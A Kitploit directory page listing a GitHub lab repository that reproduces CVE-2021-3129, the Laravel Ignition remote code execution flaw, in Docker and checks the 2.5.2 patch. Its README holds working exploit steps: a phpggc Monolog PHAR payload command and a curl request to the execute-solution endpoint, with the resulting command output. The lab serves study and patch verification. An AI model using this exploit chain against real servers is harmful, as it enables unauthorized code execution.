Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-3129 — Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts. | Kitploit
工具/GitHubGitHub/cchiaravalentini/cve-2021-3129
Container SecurityPayload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubcchiaravalentini/cve-2021-3129

CVE-2021-3129

Docker-based reproduction and patch verification lab for CVE-2021-3129, the unauthenticated Laravel Ignition RCE, including PHAR payload generation and exploit scripts.

2026年9月30日尚未审核
分享
查看仓库
内容在请求的语言中不可用。显示英文版本。

CVE-2021-3129 — Laravel Ignition Remote Code Execution

Overview

This repository contains the reproduction environment and documentation for CVE-2021-3129, a critical Remote Code Execution vulnerability in Laravel's Ignition debug package (versions < 2.5.2).

CVE: CVE-2021-3129 CVSS Score: 9.8 (Critical) Affected software: facade/ignition < 2.5.2, Laravel < 8.4.3 Vulnerability type: Unauthenticated Remote Code Execution Discovered by: Ambionics Security (January 2021)


Repository Structure

CVE-2021-3129/ ├── docker/ │ ├── docker-compose.yml # Vulnerable environment (port 8000) │ └── docker-compose-patched.yml # Patched environment (port 8001) ├── exploit/ │ ├── phpggc/ # PHAR payload generator │ ├── CVE-2021-3129_exploit/ # Exploit script │ └── laravel-exploits/ # Ambionics exploit scripts ├── screenshots/ # Step-by-step documentation ├── diary.md # Work log └── README.md # This file


Requirements

  • Docker Desktop
  • Docker Compose
  • Apple Silicon (M1/M2/M3): the compose files already include platform: linux/amd64 for MySQL 5.7 compatibility. No changes needed.
  • Intel/AMD (Windows/Linux/Mac): remove the platform: linux/amd64 line from both compose files before running.

Reproduce the Vulnerability

Step 1 — Start the vulnerable environment

cd docker
docker compose up -d

The vulnerable Laravel application (Ignition 2.5.1) will be available at http://localhost:8000

Step 2 — Copy phpggc into the container

docker cp exploit/phpggc docker-app-1:/tmp/phpggc

Step 3 — Enter the container and generate the payload

docker exec -it docker-app-1 bash
php -d phar.readonly=0 /tmp/phpggc/phpggc Monolog/RCE1 system id \
  --phar phar -o /tmp/exploit.phar

Step 4 — Execute the exploit

curl -s http://localhost/_ignition/execute-solution \
  -H 'Content-Type: application/json' \
  -d '{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters":{"variableName":"username",
"viewFile":"phar:///tmp/exploit.phar/test.txt"}}'

Expected output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)


Reproduce the Fix

Step 1 — Start the patched environment

cd docker
docker compose -f docker-compose-patched.yml up -d

The patched application will be available at http://localhost:8001

Step 2 — Update Ignition to 2.5.2

docker exec -it docker-app-1 bash
composer self-update --2
composer require facade/ignition:2.5.2

Step 3 — Run the same exploit

Repeat Steps 2-4 from above against http://localhost:8001

Expected output: none — the exploit is blocked by the patch.


References

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-3129
  • Ambionics writeup: https://www.ambionics.io/blog/laravel-debug-rce
  • phpggc: https://github.com/ambionics/phpggc
  • Ignition patch: https://github.com/facade/ignition/releases/tag/2.5.2
  • CISA advisory: https://www.cisa.gov/known-exploited-vulnerabilities-catalog
下载工具

相关工具

  • trivy

    在容器、Kubernetes、代码仓库、云环境等中发现漏洞、错误配置、密钥、SBOM

  • grype

    一个用于容器镜像和文件系统的漏洞扫描器

  • syft

    用于从容器镜像和文件系统生成软件物料清单(SBOM)的 CLI 工具和库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    Callisto

    jetp1ane/callisto

    自动化二进制漏洞分析工具,通过Ghidra反编译可执行文件,使用Semgrep扫描伪C代码,并利用GPT-3.5-Turbo验证发现以减少误报。

    796
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    针对 CVE-2026-43499 的一键式 Android 内核漏洞利用应用,通过内核模块加载实现权限提升,并提供偏移提取与设备端分析工具。

    735
  • 3

    IMSIcatcher

    28zaaky/imsicatcher

    IMSI Catcher 平台,可部署伪基站 GSM 小区以拦截短信、注入消息并追踪移动设备

    721
  • 4

    opencti

    opencti-platform/opencti

    开放式网络威胁情报平台

    535
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    424
  • 6

    DFRoot

    a2333c/dfroot

    Android root tool for Samsung Galaxy S25 Ultra (SM-S938B) that chains DirtyFrag CVE-2026-43284 and CVE-2026-43499 to gain root automatically at boot via KernelSU.

    419

探索所有工具

浏览我们的工具集合

查看所有工具 →